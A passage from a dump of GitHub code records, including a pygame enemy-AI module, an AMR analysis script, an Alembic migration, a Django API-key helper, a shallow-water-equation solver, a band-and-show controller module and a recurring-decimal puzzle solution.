(3).png\"),my_spritesheet.parse_sprite(\"Dead (4).png\"),\n my_spritesheet.parse_sprite(\"Dead (5).png\"),my_spritesheet.parse_sprite(\"Dead (6).png\"),\n my_spritesheet.parse_sprite(\"Dead (7).png\"),my_spritesheet.parse_sprite(\"Dead (8).png\"),\n my_spritesheet.parse_sprite(\"Dead (9).png\"),my_spritesheet.parse_sprite(\"Dead (10).png\"),\n my_spritesheet.parse_sprite(\"Dead (11).png\"),my_spritesheet.parse_sprite(\"Dead (12).png\")]\n self.dead_frames_left = []\n for frame in self.dead_frames_right:\n self.dead_frames_left.append( pygame.transform.flip(frame,True, False) )\n self.running_frames_left = []\n for frame in self.running_frames_right:\n self.running_frames_left.append(pygame.transform.flip(frame, True, False))\n self.attacking_frames_left = []\n for frame in self.attacking_frames_right:\n self.attacking_frames_left.append( pygame.transform.flip(frame,True, False) )\n\n\nclass Creep(Character):\n def __init__(self, x=0, y=0):\n self.load_frames()\n self.current_image = self.running_frames_right[0]\n self.current_frame = 0\n self.last_updated = 0\n # self.image.fill((255, 0, 255))\n self.rect = self.attacking_frames_left[0].get_rect()\n super().__init__(x, y, width=32, height=48, max_health=200,\n attack_range=50, attack_cooldown=1000)\n # self.load_frames()\n self.state = 'moving left'\n\n def handle_ai(self, dt, player,tiles,csv):\n # distance_to_player = self.position.x - player.position.x\n\n # # Chase the player if they are within 250 units\n # if -250 < distance_to_player < 250:\n # if distance_to_player > 0:\n # self.acceleration.x = -0.1\n # elif distance_to_player < 0:\n # self.acceleration.x = 0.1\n\n # # Attack the player if they are within the attack range and the attack is not on cooldown\n # if distance_to_player < self.attack_range and ((pygame.time.get_ticks() - self.last_attack) > self.attack_cooldown):\n # self.attack(player)\n # else:\n # # Randomly choose a direction to move if the player is not within range\n # self.acceleration.x = random.choice([-0.01, 0, 0.01])\n distance_to_player = math.sqrt((self.position.x - player.position.x)**2 + (self.position.y - player.position.y)**2)\n\n # Chase the player if they are within 250 units\n if distance_to_player < 100:\n if self.position.x - player.position.x > 0:\n self.state = 'moving left'\n self.acceleration.x = -0.1\n elif self.position.x - player.position.x < 0:\n self.state = 'moving right'\n self.acceleration.x = 0.1\n\n # Attack the player if they are within the attack range and the attack is not on cooldown\n if distance_to_player < self.attack_range and pygame.time.get_ticks() - self.last_attack > self.attack_cooldown:\n self.state = 'attack'\n self.attack(player)\n \n else:\n # Randomly choose a direction to move if the player is not within range\n check = self.test(tiles,csv)\n # add = random.choice([-0.01, 0, 0.01])\n if self.state == 'moving left' and self.on_ground:\n if check != 'LEFT':\n self.position.x -= 0.2\n else:\n self.state = 'moving right'\n elif self.state == 'moving right' and self.on_ground:\n if check != 'RIGHT':\n self.position.x += 0.2\n else: \n self.state = 'moving left'\n def test(self,tiles,csv):\n map = csv\n self.rect.bottom += 1\n collisions = self.get_hits(tiles)\n for tile in collisions:\n y = int(tile.rect.y/32)\n x = int(tile.rect.x/32)\n # print(tile.rect.x)\n if map[y][x-1] == '-1' and self.rect.x == tile.rect.x:\n # print(map[y][x])\n return 'LEFT'\n elif map[y-1][x-1] != '-1' and self.rect.x == tile.rect.x:\n # print(map[y][x])\n return 'LEFT'\n elif map[y][x+1] == '-1' and self.rect.x == tile.rect.x:\n # print(map[y][x])\n return 'RIGHT'\n elif map[y-1][x+1] != '-1' and self.rect.x == tile.rect.x:\n # print(map[y][x])\n return 'RIGHT'\n return 'NONE'\n\nclass ShootingMonster(Character):\n def __init__(self, x=0, y=0):\n super().__init__(x, y, width=32, height=48, max_health=200,\n attack_range=200, attack_cooldown=1000)\n self.fireball = EnemyFireBall(1, 'left')\n\n def handle_ai(self, dt, player):\n distance_to_player_x = self.position.x - player.position.x\n distance_to_player_y = self.position.y - player.position.y\n\n if abs(distance_to_player_x) < self.attack_range and pygame.time.get_ticks() - self.last_attack > self.attack_cooldown:\n self.attack(player)\n self.shoot_fireball(player)\n\n def attack(self, player):\n super().attack(player)\n self.last_attack = pygame.time.get_ticks()\n\n def shoot_fireball(self, player):\n if not self.fireball.shoot:\n self.fireball.rect.x = self.rect.x\n self.fireball.rect.y = self.rect.y\n self.fireball.shoot = True\n\n distance_to_player_x = self.position.x - player.position.x\n distance_to_player_y = self.position.y - player.position.y\n\n if abs(distance_to_player_x) > abs(distance_to_player_y):\n if distance_to_player_x > 0:\n self.fireball.direction = 'left'\n else:\n self.fireball.direction = 'right'\n else:\n if distance_to_player_y > 0:\n self.fireball.direction = 'up'\n else:\n self.fireball.direction = 'down'\n\n def update(self, dt, tiles, player):\n self.handle_ai(dt, player)\n self.horizontal_movement(dt)\n self.check_collisions_x(tiles)\n self.vertical_movement(dt)\n self.check_collisions_y(tiles)\n if self.fireball.shoot:\n self.fireball.update(self.fireball.x_camera,\n self.fireball.direction)\n\n def draw(self, display, x, y, tiles):\n super().draw_health_bar(display)\n display.blit(self.image, (self.rect.x + x, self.rect.y + y))\n if self.fireball.shoot:\n self.fireball.draw(display, x, y, tiles)\n\n\nclass Boss(Character):\n def __init__(self, x=0, y=0):\n super().__init__(x, y, width=64, height=96, max_health=500,\n attack_range=300, attack_cooldown=1000)\n self.load_frames()\n self.current_image = self.attacking_frames_right[0]\n self.current_frame = 0\n self.last_updated = 0\n # self.image.fill((255, 0, 255))\n self.rect = self.attacking_frames_left[0].get_rect()\n self.fireball = EnemyFireBall(1, 'down')\n self.homing_fireballs = []\n\n def handle_ai(self, dt, player):\n distance_to_player = self.position.x - player.position.x\n\n # Chase the player if they are within attack_range units\n if -self.attack_range < distance_to_player < self.attack_range:\n # if distance_to_player > 0:\n # self.acceleration.x = -0.15\n # elif distance_to_player < 0:\n # self.acceleration.x = 0.15\n\n # Attack the player if they are within the attack range and the attack is not on cooldown\n if abs(distance_to_player) < self.attack_range and pygame.time.get_ticks() - self.last_attack > self.attack_cooldown:\n # self.attack(player)\n # self.summon_fireball(player)\n self.shoot_homing_fireball(player)\n if (random.randint(0, 1) < 0.02):\n self.fire_rain(player)\n # else:\n # # Randomly choose a direction to move if the player is not within range\n # self.acceleration.y += random.choice([ 0, 3])\n\n def fire_rain(self, player):\n for _ in range(0, 3):\n homing_fireball = HomingFireBall(1, 'down', player)\n homing_fireball.shoot = True\n self.homing_fireballs.append(homing_fireball)\n\n def horizontal_movement(self, dt):\n self.velocity.x += self.acceleration.x * dt\n self.limit_velocity(0.1)\n self.position.x += self.velocity.x * dt\n self.rect.x = self.position.x\n\n def summon_fireball(self, player):\n if not self.fireball.shoot:\n self.fireball.rect.x = player.rect.x\n self.fireball.rect.y = 0\n self.fireball.shoot = True\n self.fireball.direction = 'down'\n\n def shoot_homing_fireball(self, player):\n self.last_attack = pygame.time.get_ticks()\n\n homing_fireball = HomingFireBall(1, 'down', player)\n homing_fireball.shoot = True\n self.homing_fireballs.append(homing_fireball)\n\n def update(self, dt, tiles, player,csv):\n self.handle_ai(dt, player)\n self.animate()\n self.horizontal_movement(dt)\n self.check_collisions_x(tiles)\n self.vertical_movement(dt)\n self.check_collisions_y(tiles)\n if self.fireball.shoot:\n self.fireball.update(self.fireball.x_camera,\n self.fireball.direction)\n for homing_fireball in self.homing_fireballs:\n if homing_fireball.shoot:\n homing_fireball.update(\n homing_fireball.x_camera, homing_fireball.direction, player)\n\n def draw(self, display, x, y, tiles, player):\n # self.draw_health_bar(display)\n display.blit(self.current_image, (self.rect.x + x, self.rect.y + y))\n if self.fireball.shoot:\n self.fireball.draw(display, x, y, tiles, player)\n for homing_fireball in self.homing_fireballs:\n if homing_fireball.shoot:\n homing_fireball.draw(display, x, y, tiles, player)\n \n def load_frames(self):\n my_spritesheet = Spritesheet('assets/boss/mage.png',1)\n self.attacking_frames_right = [my_spritesheet.parse_sprite(\"Attack (1).png\"),my_spritesheet.parse_sprite(\"Attack (2).png\"),\n my_spritesheet.parse_sprite(\"Attack (3).png\"),my_spritesheet.parse_sprite(\"Attack (4).png\"),\n my_spritesheet.parse_sprite(\"Attack (5).png\"),my_spritesheet.parse_sprite(\"Attack (6).png\"),\n my_spritesheet.parse_sprite(\"Attack (7).png\"),my_spritesheet.parse_sprite(\"Attack (8).png\")]\n self.attacking_frames_left = []\n for frame in self.attacking_frames_right:\n self.attacking_frames_left.append( pygame.transform.flip(frame,True, False) )\n def animate(self):\n now = pygame.time.get_ticks()\n if now - self.last_updated > 30:\n self.last_updated = now\n self.current_frame = (self.current_frame + 1) % len(self.attacking_frames_right)\n self.current_image = self.attacking_frames_right[self.current_frame]\n\n","repo_name":"c0ngthanh/RPGGame","sub_path":"filegame/enemy.py","file_name":"enemy.py","file_ext":"py","file_size_in_byte":22364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40113891792","text":"import re\nfrom collections import Counter\nfrom find_rare_node_labels import load_corpus_from_folder\nfrom util import get_node_by_name, load_corpus_with_alignments, LEAMR_LDC_TEST_AMRS, LEAMR_ALIGNMENTS, \\\n amr_utils_graph_to_penman_graph_with_all_explicit_names\nfrom vulcan_pickle_builder import VulcanPickleBuilder\n\n\ndef main():\n test_amrs, test_alignments = load_corpus_with_alignments(LEAMR_LDC_TEST_AMRS, LEAMR_ALIGNMENTS)\n print(len(test_amrs))\n\n vulcan_pickle_builder = VulcanPickleBuilder()\n case_counter = Counter()\n for amr_utils_graph in test_amrs:\n alignments = test_alignments[amr_utils_graph.id]\n graph, node_map = amr_utils_graph_to_penman_graph_with_all_explicit_names(amr_utils_graph)\n for nn in amr_utils_graph.nodes:\n if amr_utils_graph.nodes[nn] in [\"and\", \"or\"]:\n modifiers_high = []\n modifiers_low = []\n children = []\n min_alignment = 100000\n max_alignment = -1\n for src, role, tgt in amr_utils_graph.edges:\n if src == nn and role == \":mod\":\n modifiers_high.append(tgt)\n if src == nn and role.startswith(\":op\"):\n children.append(tgt)\n print(\"children\")\n print([amr_utils_graph.nodes[x] for x in children])\n for child_nn in children:\n for al in alignments:\n if child_nn in al.nodes:\n min_alignment = min(min_alignment, min(al.tokens))\n max_alignment = max(max_alignment, max(al.tokens))\n for src, role, tgt in amr_utils_graph.edges:\n if src == child_nn and not (role.startswith(\":ARG\") or role.startswith(\":op\")):\n modifiers_low.append(tgt)\n print(\"modifiers_low\")\n print([amr_utils_graph.nodes[x] for x in modifiers_low])\n for al in alignments:\n if max(al.tokens) < min_alignment:\n if any(x in modifiers_high for x in al.nodes):\n case_counter[\"left, high\"] += 1\n vulcan_pickle_builder.add_graph(graph)\n vulcan_pickle_builder.add_graph_highlight([node_map[x] for x in al.nodes])\n vulcan_pickle_builder.add_sent_highlight([x for x in al.tokens])\n elif any(x in modifiers_low for x in al.nodes):\n case_counter[\"left, low\"] += 1\n vulcan_pickle_builder.add_graph(graph)\n vulcan_pickle_builder.add_graph_highlight([node_map[x] for x in al.nodes])\n vulcan_pickle_builder.add_sent_highlight([x for x in al.tokens])\n elif min(al.tokens) > max_alignment:\n if any(x in modifiers_high for x in al.nodes):\n case_counter[\"right, high\"] += 1\n vulcan_pickle_builder.add_graph(graph)\n vulcan_pickle_builder.add_graph_highlight([node_map[x] for x in al.nodes])\n vulcan_pickle_builder.add_sent_highlight([x for x in al.tokens])\n elif any(x in modifiers_low for x in al.nodes):\n case_counter[\"right, low\"] += 1\n vulcan_pickle_builder.add_graph(graph)\n vulcan_pickle_builder.add_graph_highlight([node_map[x] for x in al.nodes])\n vulcan_pickle_builder.add_sent_highlight([x for x in al.tokens])\n\n vulcan_pickle_builder.save_pickle(\"outputs/coord_ambiguities.pickle\")\n\n with open(\"outputs/coord_ambiguities.tsv\", \"w\") as f:\n for case, count in case_counter.most_common():\n f.write(f\"{case}\\t{count}\\n\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jgroschwitz/GrAPES","sub_path":"amrbank_analysis/coord_ambiguities.py","file_name":"coord_ambiguities.py","file_ext":"py","file_size_in_byte":4006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12671251479","text":"\"\"\"change to batch mode\n\nRevision ID: a84508cf408a\nRevises: 8d4ae9a35984\nCreate Date: 2023-05-03 19:13:02.235969\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'a84508cf408a'\ndown_revision = '8d4ae9a35984'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('questions', schema=None) as batch_op:\n batch_op.alter_column('q_id',\n existing_type=sa.INTEGER(),\n nullable=True)\n batch_op.drop_column('ans')\n batch_op.drop_column('d')\n\n with op.batch_alter_table('user', schema=None) as batch_op:\n batch_op.add_column(sa.Column('gender', sa.String(length=120), nullable=True))\n batch_op.add_column(sa.Column('pants', sa.String(length=120), nullable=True))\n batch_op.add_column(sa.Column('shoes', sa.String(length=120), nullable=True))\n batch_op.add_column(sa.Column('top', sa.String(length=120), nullable=True))\n batch_op.drop_index('ix_user_marks')\n\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('user', schema=None) as batch_op:\n batch_op.create_index('ix_user_marks', ['marks'], unique=False)\n batch_op.drop_column('top')\n batch_op.drop_column('shoes')\n batch_op.drop_column('pants')\n batch_op.drop_column('gender')\n\n with op.batch_alter_table('questions', schema=None) as batch_op:\n batch_op.add_column(sa.Column('d', sa.VARCHAR(length=100), nullable=True))\n batch_op.add_column(sa.Column('ans', sa.VARCHAR(length=100), nullable=True))\n batch_op.alter_column('q_id',\n existing_type=sa.INTEGER(),\n nullable=False)\n\n # ### end Alembic commands ###\n","repo_name":"Serewaya/Sussed-Prototype","sub_path":"migrations/versions/a84508cf408a_change_to_batch_mode.py","file_name":"a84508cf408a_change_to_batch_mode.py","file_ext":"py","file_size_in_byte":1884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74948304145","text":"import json\n\nfrom django.conf import settings\nfrom django.http import HttpResponse\nfrom rest_framework.exceptions import PermissionDenied, ParseError\n\n\ndef get_response(data, status_code=200, message=\"\", status=1, content_type=\"application/json\"):\n return HttpResponse(json.dumps({\n \"status\": status,\n \"message\": message,\n \"data\": data\n }), content_type=content_type, status=status_code)\n\n\ndef verify_key(api_key):\n \"\"\"\n Verifies if the api key is valid\n Ideally this would just do a search in the DB table with index, but since DB use is prohibited,\n using a file in the file system.\n Args:\n api_key: String.\n\n Returns:\n\n \"\"\"\n if not api_key:\n raise PermissionDenied()\n key_file = settings.FILE_DIR + \"/key_list.txt\"\n try:\n with open(key_file, \"r\") as f:\n valid_keys = f.readlines()\n for valid_key in valid_keys:\n if valid_key.rstrip() == api_key.rstrip():\n return\n except IOError:\n raise ParseError(\"No Keys exist. Please generate a key first.\")\n raise PermissionDenied(\"API Key Invalid\")\n","repo_name":"hemil/uss","sub_path":"modules/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39351179949","text":"#!/usr/bin/python\n\n# Code to solve the 1D SWE:\n#\n# ddt(u) + 0.5 ddx(u**2) = -ddx(h)\n# ddt(h) + ddx(h u) = 0\n#\n# Periodic boundary conditions\n# h is offset by half dx from u (C-grid staggering)\n\nfrom __future__ import absolute_import, division, print_function\nfrom pylab import *\n\nexecfile(\"operators.py\")\nexecfile(\"initialConditions.py\")\nexecfile(\"plots.py\")\n\ndef main():\n # Parameters\n nx = 40\n nt = 10\n dt = 0.01\n squareWaveMin = 0.4\n squareWaveMax = 0.6\n dx = 1./nx\n\n # Space for the u and p grids\n xu = arange(0.,1.,dx)\n xh = arange(0.5*dx, 1, dx)\n\n # Initial conditions\n h = 0.2 + 0.7*squareWave(xh, squareWaveMin, squareWaveMax)\n u = 0.5*(1+sin(2*pi*xu))\n \n hold = h.copy()\n uold = u.copy()\n \n # Plot the initial conditions\n plotSolution(xh, h, 0*h, xu, u, 0*u, 0)\n \n energy = zeros(nt+1)\n KE1 = zeros(nt+1)\n KE1[0] = KE(h, u, dx)\n energy[0] = KE1[0] + PE(h, 0*h, dx)\n\n # Loop over time\n for it in xrange(int(nt)):\n print(\"time step \", it+1)\n \n # Outer loop\n for iter in range(2):\n \n hAtu = hAtu_centred(h)\n \n # Advect h\n h = hold - dt*dudx(hAtu*u, dx)\n \n # Update u vector invariant form\n# u = uold - dt*dhdx(0.5*uAth(u)**2 + h, dx)\n \n # Update u advective form\n u = uold - dt*(u*ddxUp(u,u,dx) + dhdx(h,dx))\n\n hold = h.copy()\n uold = u.copy()\n\n # Energy diagnostics\n KE1[it+1] = KE(h, u, dx)\n energy[it+1] = KE1[it+1] + PE(h, 0*h, dx)\n \n print(\"Minimum h = \", min(h))\n print(\"Maximum u Courant number = \", max(abs(u)*dt/dx))\n print(\"Normalised energy change = \", (energy[it+1]-energy[0])/energy[0])\n\n # Plot the solution\n plotSolution(xh, h, 0*h, xu, u, 0*u, it+1)\n \n plotEnergy(energy, KE1, 0*KE1, dt)\nmain()\n\n","repo_name":"hilaryweller0/oneDpartitionedSolvers","sub_path":"SWE/SWE1d.py","file_name":"SWE1d.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18041532652","text":"#-*- coding:utf-8 -*-\n\nfrom datetime import datetime\nimport random\nfrom operator import itemgetter\n\nfrom mongoengine.queryset import DoesNotExist, MultipleObjectsReturned\n\nfrom models import User, Question, Band, Show, Location, Newsletter, Product, BandQuestion\nfrom helpers import get_slug\nfrom facebook import get_musicians_from_opengraph\n\nlastfm = None\n\ndef get_lastfm_module():\n global lastfm\n if lastfm is None:\n lastfm = __import__(\"lastfm\")\n return lastfm\n\ndef get_or_create_band_question(data):\n try:\n band_question = BandQuestion.objects.get(email=data['email'], question=data['question'], band_slug=data[\"band_slug\"])\n except DoesNotExist:\n band_question = BandQuestion.objects.create(email=data['email'], question=data['question'], band_slug=data[\"band_slug\"])\n\n return band_question\n\ndef get_or_create_user(data, oauth_token=None):\n try:\n user = User.objects.get(facebook_id=data['id'])\n except DoesNotExist:\n # Ao criar um usuário do facebook, eu importo as bandas favoritas dele\n user = User.objects.create(facebook_id=data['id'], email=data['email'], name=data['name'])\n if oauth_token: # Se foi passado, é para buscar as bandas no facebook\n bands_facebook = get_musicians_from_opengraph(user.facebook_id, oauth_token)\n for band_facebook in bands_facebook:\n get_or_create_band({\"slug\": band_facebook, \"name\": band_facebook, \"user\": user})\n\n if \"city\" in data and data['city'] and data['city'] != user.city:\n user.city = data['city']\n user.save()\n\n return user\n\ndef get_all_users():\n return User.objects.order_by('-name')\n\ndef newsletter_exists(tipo, user):\n try:\n newsletter = Newsletter.objects.get(user=user, tipo=tipo)\n return True\n except DoesNotExist:\n return False\n\ndef get_or_create_newsletter(tipo, user, option=None):\n try:\n newsletter = Newsletter.objects.get(user=user, tipo=tipo)\n if option:\n newsletter.option = option\n newsletter.save()\n except DoesNotExist:\n newsletter = Newsletter.objects.create(user=user, option=option, tipo=tipo)\n\n return newsletter\n\ndef get_all_newsletters():\n return Newsletter.objects.all()\n\n\ndef get_or_create_band(data):\n name = data['name'].title()\n slug = get_slug(data['slug']) if \"slug\" in data else get_slug(data['name'])\n try:\n band = Band.objects.get(slug=slug)\n except DoesNotExist:\n band = Band.objects.create(slug=slug, name=name)\n\n if not name in band.aliases:\n band.aliases.append(name)\n\n if \"musician\" in data and data['musician'] and not data['musician'] in band.musicians:\n band.musicians.append(data['musician'])\n if not \"user\" in data:\n band.users.append(data['musician'])\n else:\n if data['musician'] != data['user']:\n band.users.append(data['musician'])\n\n if \"user\" in data and data['user'] and not data['user'] in band.users:\n band.users.append(data['user'])\n\n if \"image\" in data and data['image']:\n band.image = data['image']\n\n if \"products\" in data and data[\"products\"]:\n for product in data[\"products\"]:\n if not product in band.products:\n band.products.append(product)\n\n band.save()\n return band\n\ndef get_or_create_location(data):\n try:\n slug = get_slug(data['slug']) if \"slug\" in data else get_slug(data['name'])\n except UnicodeDecodeError:\n slug = data['name']\n try:\n location = Location.objects.get(slug=slug)\n except DoesNotExist:\n data[\"slug\"] = slug\n location = Location.objects.create(**data)\n\n return location\n\ndef get_or_create_show(data):\n title = data['title'].title()\n slug = get_slug(data['slug']) if \"slug\" in data else get_slug(data['title'])\n try:\n show = Show.objects.get(slug=slug)\n except DoesNotExist:\n show = Show.objects.create(slug=slug, title=title)\n\n if \"artists\" in data and type(data[\"artists\"]) is list:\n for artist in data[\"artists\"]:\n if not artist.slug in show.artists_slug:\n show.artists_slug.append(artist.slug)\n if not show in artist.shows:\n artist.shows.append(show)\n artist.save()\n\n if \"location\" in data:\n if isinstance(data[\"location\"], Location): # Um objeto location tambem pode ter sido passado\n show.location = data[\"location\"]\n else:\n show.location = get_or_create_location(data[\"location\"])\n\n keys_to_check = [\"attendance_count\", \"cover_image\", \"description\", \"datetime_usa\", \"city\", \"website\"]\n for key in keys_to_check:\n if key in data:\n setattr(show, key, data[key])\n\n show.save()\n return show\n\ndef __sort_by_city_and_date__(city=None):\n now = str(datetime.now())\n\n if city:\n return lambda show: (\"0\" + show.datetime_usa if show.location.city == city else show.datetime_usa) if show.datetime_usa[:10] >= now[:10] else (\"9\" + show.datetime_usa)\n\n return lambda show: show.datetime_usa if show.datetime_usa[:10] >= now[:10] else \"9\" + show.datetime_usa\n\ndef __add_to_bands_to_get_shows__(band, shows, bands_to_get_shows, limit_per_artist, force_to_include_band):\n if force_to_include_band:\n if not hasattr(band, \"shows\") or len(band.shows) == 0:\n shows.append((band, []))\n else:\n shows.append((band, band.shows[:limit_per_artist]))\n bands_to_get_shows.append(band)\n\ndef get_shows_from_bands(bands, limit_per_artist=None, city=None, force_to_include_band=False, call_lastfm_if_dont_have_shows=True, call_lastfm_without_subprocess=False):\n \"\"\" bands: Uma lista de bandas nas quais pegará os limit_per_artist shows (default: None = todos os shows) e ordenará por city se for passado algo \"\"\"\n\n shows = []\n bands_to_get_shows = []\n for band in bands:\n if not band:\n continue\n if hasattr(band, \"shows\") and len(band.shows) == 0:\n __add_to_bands_to_get_shows__(band, shows, bands_to_get_shows, limit_per_artist, force_to_include_band)\n else:\n band.shows = sorted(band.shows, key=__sort_by_city_and_date__(city=city))\n if band.shows[0].datetime_usa[:10] < str(datetime.now())[:10]: # Se o primeiro show já aconteceu, quer dizer que todos já aconteceram, nesse caso, pega mais do lastfm\n __add_to_bands_to_get_shows__(band, shows, bands_to_get_shows, limit_per_artist, force_to_include_band)\n else:\n shows.append((band, band.shows[:limit_per_artist]))\n if call_lastfm_if_dont_have_shows and len(bands_to_get_shows) > 0:\n lastfm = get_lastfm_module()\n if call_lastfm_without_subprocess:\n shows_to_get = lastfm.save_next_shows(bands_to_get_shows)\n for show in shows_to_get:\n band = show.artists[0]\n shows.append((band, band.shows[:limit_per_artist]))\n else:\n lastfm.get_next_shows_subprocess(bands_to_get_shows)\n return shows\n\ndef get_shows_from_bands_by_city(city, date_to_get=None):\n shows = []\n\n if not date_to_get:\n date_to_get = datetime.now()\n\n if int(date_to_get.strftime(\"%w\")) == 0 and int(date_to_get.strftime(\"%H\")) >= 0 and int(date_to_get.strftime(\"%H\")) <= 11:\n lastfm = get_lastfm_module()\n shows = lastfm.get_nearby_shows(city=city)\n\n locations = Location.objects.filter(city=city)\n shows_from_mongo = Show.objects.filter(location__in=locations, datetime_usa__gte=str(datetime.now().date()))\n for show_mongo in shows_from_mongo:\n if not show_mongo in shows:\n shows.append(show_mongo)\n\n shows = sorted(shows, key=__sort_by_city_and_date__(city=city))\n\n return shows\n\ndef get_all_bands(limit=None):\n if limit:\n return Band.objects[:limit].order_by(\"-users\")\n return Band.objects.order_by(\"-users\")\n\ndef get_band(slug):\n return Band.objects.filter(slug=slug).first()\n\n\n\ndef get_related_bands(band, max=None, user=None):\n bands = get_all_bands()\n related_bands = {}\n for currentUser in band.users:\n for currentBand in bands:\n if currentUser in currentBand.users and currentBand != band and \\\n (user is None or not user in currentBand.users):\n if currentBand.slug in related_bands:\n related_bands[currentBand.slug] += 1\n else:\n related_bands[currentBand.slug] = 1\n\n list = related_bands.items()\n random.shuffle(list)\n list.sort(key=lambda tup: tup[1], reverse=True)\n\n slugs = []\n for tuple in list:\n slug, weight = tuple\n slugs.append(slug)\n\n return slugs[0:max]\n\ndef like_band(slug, user):\n band = get_band(slug)\n\n if not user in band.users:\n band.users.append(user)\n\n band.save()\n\ndef unlike_band(slug, user):\n band = get_band(slug)\n\n for i in range(len(band.users)):\n if band.users[i] == user:\n del band.users[i]\n break\n\n if len(band.users) == 0:\n band.delete()\n\n band.save()\n\ndef get_top_bands(max=None, sort=False, normalize=False, maxSize=6):\n bands = get_all_bands()\n top_bands = []\n top_band_size = 0;\n\n for band in bands:\n top_bands.append({\"label\": band.name, \"size\": len(band.users), \"band_object\": band})\n if len(band.users) > top_band_size:\n top_band_size = len(band.users)\n\n result = sorted(top_bands, key=itemgetter('size'), reverse=True)\n result = result[0:max]\n\n if normalize and top_band_size != 0:\n for band in result:\n band[\"size\"] = int((maxSize * band[\"size\"]) / top_band_size)\n\n if not sort:\n random.shuffle(result)\n\n return (result, len(bands))\n\ndef random_top_bands(max=None, user=None): # Sorteia bandas baseado na quantidade de votos dela\n bands = get_all_bands(limit=100)\n removidos = {}\n bandas = []\n for band in bands:\n if not user or not user in band.users:\n for u in band.users:\n bandas.append(band)\n removidos[band.slug] = False\n\n bandasOrdenadas = []\n while len(bandas) > 0:\n tamanho = len(bandas)\n indice = random.randint(0, tamanho - 1)\n if not removidos[bandas[indice].slug]:\n bandasOrdenadas.append(bandas[indice])\n removidos[bandas[indice].slug] = True\n del bandas[indice]\n\n return bandasOrdenadas[0:max]\n\ndef get_random_bands_from_a_slug_list(slug_list, max=3):\n index = 0\n bands_slugs = []\n while index < max:\n slug = random.choice(slug_list)\n if not slug in bands_slugs:\n bands_slugs.append(slug)\n index += 1\n return [get_band(slug) for slug in bands_slugs]\n\n\ndef get_user_bands(user):\n bands = get_all_bands()\n return [band for band in bands if user in band.users]\n\ndef get_random_users(max=8):\n users = [user for user in User.objects.all()]\n users_random = set()\n len_users = 0\n if users:\n len_users = len(users)\n if max >= len_users:\n for user_index in range(len(users)):\n users[user_index].name = users[user_index].name.split(\" \")[0]\n return (users, len_users)\n\n for i in range(max): # repete max vezes\n choice = random.choice(range(len(users)))\n user_random = users[choice]\n user_random.name = user_random.name.split(\" \")[0]\n users_random.add(user_random)\n del users[choice]\n\n return (list(users_random), len_users)\n\ndef get_or_create_product(data):\n name = data['name'].title()\n slug = get_slug(data['slug']) if \"slug\" in data else get_slug(data['name'])\n try:\n product = Product.objects.get(slug=slug)\n except DoesNotExist:\n product = Product.objects.create(slug=slug, name=name)\n\n for prop in [\"price\", \"photo\", \"quantity_type\", \"quantity_value\"]:\n if prop in data and data[prop]:\n setattr(product, prop, data[prop])\n\n product.save()\n return product\n\n\ndef get_question(slug):\n return Question.objects.filter(slug=slug).first()\n\ndef get_all_answers_from_question(slug, user=None):\n question = get_question(slug)\n if question:\n answers = question.answers\n if user:\n answers = [answer for answer in answers if answer.user==user]\n return answers\n return []\n\ndef get_answers_and_counters_from_question(slugs):\n answers = []\n\n for slug in slugs:\n answers.extend(get_all_answers_from_question(slug))\n\n parcial = {}\n for answer in answers:\n if answer.answer in parcial.keys():\n parcial[answer.answer] += 1\n else:\n parcial[answer.answer] = 1\n\n resultado = parcial.items()\n return sorted(resultado, key=lambda tup: tup[1], reverse=True)\n\n\ndef validate_answers(data):\n if \"musico-ou-fa\" in data.keys() and (data[\"musico-ou-fa\"] == \"musico\" or data[\"musico-ou-fa\"] == \"fa\"):\n return True\n\n return False\n\n\ndef set_user_tipo(user, tipo):\n user.tipo = tipo\n user.save()\n","repo_name":"guilhermebruzzi/bands","sub_path":"bands/controllers.py","file_name":"controllers.py","file_ext":"py","file_size_in_byte":13159,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"16554807172","text":"max_count = 0 # 최장 순환마디의 길이\nmax_num = 0 # 최장 순환마디의 길이를 가진 수\nfor num in range(2, 1001): # 2에서 1000까지의 반복문\n r_list = [] #나머지 값이 들어갈 리스트\n r=1 # 처음엔 나눠질 숫자인 1의 역할을 하고 이후부터는 나머지가 입력될 변수\n count = 0 # 몇자리의 순환소수인지 찾기 위한 역할\n for j in range(900): # 몇 번째 나머지까지 찾을 것인지에 대한 범위(**이 범위에 따라서 최대 순환소수를 가진 숫자가 달라진다.)\n while (r < num): # 나머지를 얻어내기 위해서는 나머지가 나누는 숫자보다 커야하기에 나머지인 r이 num보다 커질 때 까지 10을 곱한다.\n r *= 10\n r = r % num # 나머지를 r변수에 입력\n r_list.append(r) # 나머지를 r_list 리스트에 입력\n if (r == 0): # 만약 r(나머지)이 0이면 중단한다.\n break\n for i in range(1, len(r_list)): # r_list에 들어간 나머지들을 비교한다. \n if (r_list[0] != r_list[i]): # 처음 나머지 값과 같은 나머지 값이 나왔을 때 순환이 끝났다는 의미이기에 다른 나머지 값은 count를 더해준다.\n count += 1\n else: # 같은 나머지 값이 나왔기에 순환이 끝났다는 의미이고 이 때 count가 max_count보다 클 경우에는 max_count와 max_num을 새로 변경해준다.\n if (count > max_count): \n max_count = count\n max_num = num\n break\nprint(max_num)","repo_name":"junhong625/Algorithm","sub_path":"Algorithm26.py","file_name":"Algorithm26.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34936117858","text":"import bs4\nimport cfscrape\nimport 